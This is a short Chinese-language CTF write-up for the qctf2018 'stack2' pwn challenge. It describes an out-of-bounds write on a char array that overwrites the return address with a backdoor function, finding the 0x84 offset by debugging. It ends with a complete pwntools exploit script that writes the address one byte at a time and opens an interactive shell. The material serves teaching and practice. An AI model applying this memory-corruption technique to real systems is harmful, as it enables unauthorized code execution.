qctf2018_stack2
-
例行检查 ,32位程序,开启了canary和nx保护
-
本地运行一下,看看大概的情况
-
32位ida载入,检索字符串发现了后门
main函数太长了,贴一下关键部分,漏洞点在修改v13数组里的值。
-
利用数组越界漏洞去修改ret,将ret修改成backdoor即可。
一开始我想当然的认为偏移是0x70+4,但是实际利用的时候发现不对。动调找一下吧
我输入的数据是12,存储在了0xffffcf38处,v13数组的地址
找一下函数结束的时候esp的地址
相差0xffffcfbc-0xffffcf38=0x84 -
v13是char型,一次只能写入一个字节,因此要分四次来把ret修改成backdoor
from pwn import*
context.log_level = 'debug'
#p=remote('node3.buuoj.cn',28312)
p=process('./stack2')
elf=ELF('./stack2')
p.sendlineafter('have:','0')
offset=0x84
backdoor = [0x9b, 0x85, 0x04, 0x08]
for i in range(4):
p.sendlineafter('5. exit','3')
p.sendlineafter('change:',str(offset+i))
p.sendlineafter('number:',str(backdoor[i]))
p.sendlineafter('5. exit','5')
p.interactive()